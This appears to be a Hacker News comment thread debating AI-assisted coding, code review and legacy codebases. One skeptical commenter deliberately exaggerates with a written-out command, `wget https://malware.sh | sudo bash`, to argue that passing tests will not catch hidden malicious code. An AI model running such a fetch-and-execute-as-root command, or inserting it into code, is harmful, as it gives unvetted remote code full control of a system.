Maybe for a personal project but this doesn't work in a multi-dev environment with paying customers. In my experience, paying attention to architecture and the code itself results in a much more pliable application that can be evolved.
I'll caveat my statement, with AI ready repos. Meaning those with good documentation, good comments (ex. avoiding Chestertons fence), comprehensive interface tests, Sentry, CI/CD, etc.
Established repos are harder because a) the marginal cost of something going wrong is much higher b) there's more dependencies c) this makes it harder to 'comprehensively' ensure the AI didn't mess anything up
I say this in the article
> There's no "right answer." The only way to create your best system is to create it yourself by being in the loop. Best is biased by taste and experience. Experiment, iterate, and discover what works for you.
Try pushing the boundary. It's like figuring out the minimum amount of sleep you need. You undersleep and oversleep a couple times, but you end up with a good idea.
To be clear, I'm not advocating for canonical 'vibe coding'. Just that what it means to be a good engineer has changed again. 1) Being able to quickly create a mental map of code at the speed of changes, 2) debugging and refactoring 3) prompting, 4) and ensuring everything works (verifiability) are now the most valuable skills.
We should also focus more on the derivative than our point in time.
I get the feeling you're intentionally being a parody with that line.
> and ensuring everything works (verifiability) are now the most valuable skills.
Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?
My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?
> We should also focus more on the derivative than our point in time.
So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".
Extremely depressing to see this happening to the craft I used to love.
And not even by much, 1/2/4 have always been signs of good engineers.
the OP is a kid in his 20s describing the history of the last 3 years or so of small scale AI Development (https://www.linkedin.com/in/silen-naihin/details/experience/)
How does that compare to those of us with 15-50 years of software engineering experience working on giant codebases that have years of domain rules, customers and use cases etc.
When will AI be ready? Microsoft tried to push AI into big enterprise, Anthropic is doing a better job -but its all still in infancy
Personally for me I hope it won't be ready for another 10 years so I can retire before it takes over :)
I remember when folks on HN all called this AI stuff made up
I do think you're missing how this will likely go down in practice, though. Those giant codebases with years of domain rules are all legacy now. The question is how quickly a new AI codebase could catch up to that code base and overtake it, with all the AI-compatibility best practices baked in. Once that happens, there is no value in that legacy code.
Any prognostication is a fool's errand, but I wouldn't go long on those giant codebases.
“prediction is hard especially about the future” - yogi berra
As a hedge - I have personally dived deep into AI coding, actually have been for 3 years now - I’ve even launched 2 AI startups and working on a third - but its all so unpredictable and hardly lucrative yet
As an over 50 year old - I’m a clear target for replacement by AI
No mention of the results when targeting bigger, more complex projects, that require maintainability, sound architectural decisions, etc… which is actually the bread and butter of SW engineering and where the big bucks get made.
Caught you! You have been on HN very actively the last days, because these were exactly the projects in "Show HN: .." category and you would not be able to tell them if you wouldnt have spent your whole time here :-D
Ha! :-D
Project was started in late 00s so it has substantial amount of business logic, rules and decisions. Maybe I'm being an old man shouting at the clouds, but I assume (or hope?) it would fail to deliver whatever they promised to the CEO.
So, I guess I'll see the result of this shift soon enough - hopefully at a different company by the time AI-people are done.
Maybe the deed is done here, and I'd agree it's not particularly fun, but you could still think about what you can bring to the table in situations like this. Can you work on shortening these pesky feedback cycles? Can you help the team (if they even accept it) with _some_ degree of engineering? It might not be the last time this happens.
I think right now we're seeing some weird stuff going on, but I think it hasn't even properly started yet. Remember when pretty much every company went "agile"? In most cases I've seen they didn't, just wasting time chasing miracles with principles and methodologies few people understand deeply enough to apply. Yet this went on for, what, 10 years?
At most of the companies I've worked at the development team is more like a cluster of individuals who all happen to be contributing to a shared codebase than anything resembling an actual team who collaborate on a shared goal. AI-assisted engineering would have helped massively because the AI would be looking outside of the myopic view any developer who is only focused on their tiny domain in the bigger whole cared about.
Admittedly though, on a genuinely good team it'll be less useful for a long time.
A substantial number of the breathless LLM hype results come, in my estimation, quicker and better as 15 min RoR tutorials. [Fire up a calculator (from a library), a pretty visualization (from a js library), add some persistence (baked in DB, webhost), customize navigation … presto! You actually built a personal application.]
Fundamental complexity, engineering, scaling gotchyas, accessibility needs, customer insanity aren’t addressed. RoR optimizes for some things, like any other optimization that’s not always a meaningful.
LLMs have undeniable utility, natural interaction is amazing, and hunting in Reddit, stackoverflow, and MSDN forums ‘manually’ isn’t a virtue… But when the VC subsidies stop and the psychoses get proper names and the right kind of egg hits the right kind of face over unreviewed code, who knows, maybe we can make a fun hype cycle called “Actual Engineering” (AE®).
Agreed, but: being able to read and apply the 1st-party documentation is a virtue
I have access to Claude Code at work. I integrated it with IntelliJ and let it rip on a legacy codebase that uses two different programming languages plus one of the smaller SCADA platforms plus hardware logic in a proprietary format used by a vendor tool. It was mostly right, probably 80-90%, had a couple mis-understandings. No documentation, I didn't really give it much help, it just kind of...figured it out.
It will be very helpful for refactoring the codebase in the direction we were planning on going, both from the design and maybe implementation perspectives. It's not going to replace anybody, because the product requires having a deep understanding across many disciplines and other external products, and we need technical people to work outside the team with the larger org.
My thinking changes every week. I think it's a mistake to blindly trust the output of the tool. I think it's a mistake to not at least try incorporating it ASAP, just to try it out and take advantage of the tools that everybody else will be adopting or has adopted.
I'm more curious about the impacts on the web: where is the content going to come from? We've seen the downward StackOverflow trend, will people still ask/answer questions there? If not, how will the LLMs learn? I think the adoption of LLMs will eventually drive the adoption of digital IDs. It will just take time.
I know this because I am at one now making an ungodly amount of money with 50k active users a day on a complete mudball monothilic node + react + postgres app used by multiple Fortune 100 companies.
High velocity teams also observe production system telemetry and use error rates, tracing and more to maintain high SLAs for customers.
They set a "budget" and use feature flagging to release risky code and roll back or roll forward based on metrics.
So agentic coding can feed back on observed behaviors in production too.
But we have to use this "innovation budget" in a careful way.
Honestly, I can't wait for AI: development practices to mature, because I'm really tired of the fake hype and missteps getting in the way of things.